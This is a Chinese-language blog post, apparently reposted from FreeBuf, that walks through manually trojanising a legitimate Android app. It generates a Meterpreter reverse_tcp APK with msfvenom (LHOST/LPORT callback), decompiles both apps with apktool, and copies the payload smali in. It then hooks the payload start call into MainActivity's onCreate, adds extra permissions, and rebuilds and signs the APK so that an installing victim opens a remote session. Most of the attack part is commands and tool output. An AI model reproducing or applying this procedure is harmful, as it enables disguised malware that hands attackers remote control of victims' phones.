如何手动将Metasploit的Payloads注入到Android应用中

浅浅的花香味﹌ 2022-05-26 05:38 318阅读 0赞

由于大多数Android应用缺乏对二进制文件足够的保护，因此攻击者可以将一些恶意的payload轻松地植入到那些合法的Android应用中。这也是现如今，导致Android机中恶意软件传播迅速的重要原因之一。在我[之前写的一篇文章][Link 1]中，我已经为大家演示了如何使用脚本将Metasploit payload注入到android应用中。在本文我将通过手动的方式实现payload的注入。

## 步骤1 – 生成payload ##

我们首先使用Metasploit MsfVenom来生成一个APK格式的Meterpreter payload文件。

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
    LPORT=4444 R > pentestlab.apk
     
    No platform was selected, choosing Msf::Module::Platform::Android from the payload
    No Arch selected, selecting Arch: dalvik from the payload
    No encoder or badchars specified, outputting raw payload
    Payload size: 8839 bytes

## [![生成apk 及meterpreter payload.png][apk _meterpreter payload.png]][apk _meterpreter payload.png_apk _meterpreter payload.png]    ##

## 步骤2 – APK文件反编译 ##

在做其它操作之前，我们必须先对目标应用和我们生成的pentestlab.apk文件进行反编译。这里我们可以借助[apktool][]来实现。以下命令将执行反编译操作，其结果将被保存在.smali文件中。

java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
    I: Using Apktool 2.2.2 on pentestlab.apk
    I: Loading resource table...
    I: Decoding AndroidManifest.xml with resources...
    I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
    I: Regular manifest package...
    I: Decoding file-resources...
    I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...

## [![apk反编译.png][apk_.png]][apk_.png_apk_.png]    ##

## 步骤3 – 移动payload文件 ##

接着我们需要将pentestlab.apk的payload文件，复制到应用程序所在的smali文件夹中。

/root/Downloads/payload/smali/com/metasploit/stage
    /root/Downloads/original/smali/com/metasploit/stage

## 步骤4 – Hook注入 ##

检查应用程序的Android清单文件，以确定哪些是在打开应用程序时启动的MainActivity。这一步非常重要，否则payload将无法有效执行。

[![确认 main activity.png][main activity.png]][main activity.png_main activity.png]

MainActivity文件中黄色标亮的地方，我们需要替换成以下代码：

;->onCreate(Landroid/os/Bundle;)V

## [![确认需要替换的代码.png][.png]][.png_.png]    ##

当activity启动时，以下代码将运行metasploit payload以及现有代码。

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

[![hook注入.png][hook_.png]][hook_.png_hook_.png]

## 步骤5 – 添加Permission权限 ##

为了使注入的payload更有效，我们可以额外的添加permission权限到应用的android清单文件中。一旦用户接受它们，那么我们将获取到更多的手机控制权限。

[![额外添加permission.png][permission.png]][permission.png_permission.png]

## 步骤6 – 重新编译应用程序 ##

完成了以上payload和permission的添加操作，下面我们要做的就是再次编译我们的APK文件。

java -jar apktool.jar b /root/Downloads/original/

## [![编译被注入的apk.png][apk.png]][apk.png_apk.png]    ##

## 步骤7 – APK签名 ##

如果我们的应用没有签名，将无法在设备上正常安装。这里我们可以使用默认的androiddebugkey：

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

[![apk签名.png][apk_.png 1]][apk_.png_apk_.png 1]

当目标用户成功安装并运行该APK文件，我们将获取到一个meterpreter session。

[![通过被入侵的android apk获取meterpreter.png][android apk_meterpreter.png]][android apk_meterpreter.png_android apk_meterpreter.png]

\*参考来源：[pentestlab][]，FB小编 secist 编译，转载请注明来自FreeBuf.COM

[![secist][]][secist 1]

[secist][secist 1]  *72 *篇文章 等级：  *7*级

[Link 1]: https://pentestlab.blog/2017/03/13/injecting-metasploit-payloads-into-android-applications/
[apk _meterpreter payload.png]: /images/20220526/5103a68c5a1d4313b36876a2ad2156a4.png%21small
[apk _meterpreter payload.png_apk _meterpreter payload.png]: /images/20220526/5103a68c5a1d4313b36876a2ad2156a4.png
[apktool]: http://connortumbleson.com/2017/06/13/apktool-v2-2-3-released/
[apk_.png]: /images/20220526/292b5241ffc844e398f6be50d2e8427a.png%21small
[apk_.png_apk_.png]: /images/20220526/292b5241ffc844e398f6be50d2e8427a.png
[main activity.png]: /images/20220526/6a4bbc5ecec3430a88332c33eb4ea118.png%21small
[main activity.png_main activity.png]: /images/20220526/6a4bbc5ecec3430a88332c33eb4ea118.png
[.png]: /images/20220526/a6c2b3e455604b459ff330f3bf10fd8a.png%21small
[.png_.png]: /images/20220526/a6c2b3e455604b459ff330f3bf10fd8a.png
[hook_.png]: /images/20220526/6bd33ab0082d44e6b29adcc3f64241c9.png%21small
[hook_.png_hook_.png]: /images/20220526/6bd33ab0082d44e6b29adcc3f64241c9.png
[permission.png]: /images/20220526/8f140b3da20846d3830c49c93a431df7.png%21small
[permission.png_permission.png]: /images/20220526/8f140b3da20846d3830c49c93a431df7.png
[apk.png]: /images/20220526/11561e1d1af040e18aab8f1ee797aea2.png%21small
[apk.png_apk.png]: /images/20220526/11561e1d1af040e18aab8f1ee797aea2.png
[apk_.png 1]: /images/20220526/75446c2bd6df402cb0883875a552f316.png%21small
[apk_.png_apk_.png 1]: /images/20220526/75446c2bd6df402cb0883875a552f316.png
[android apk_meterpreter.png]: /images/20220526/0643ce6c6e1247c3a54411afd9dd458f.png%21small
[android apk_meterpreter.png_android apk_meterpreter.png]: /images/20220526/0643ce6c6e1247c3a54411afd9dd458f.png
[pentestlab]: https://pentestlab.blog/2017/06/26/injecting-metasploit-payloads-into-android-applications-manually/
[secist]: /images/20220526/f1cb5cec880b4d38a79fc0973d55c02f.png
[secist 1]: http://www.freebuf.com/author/secist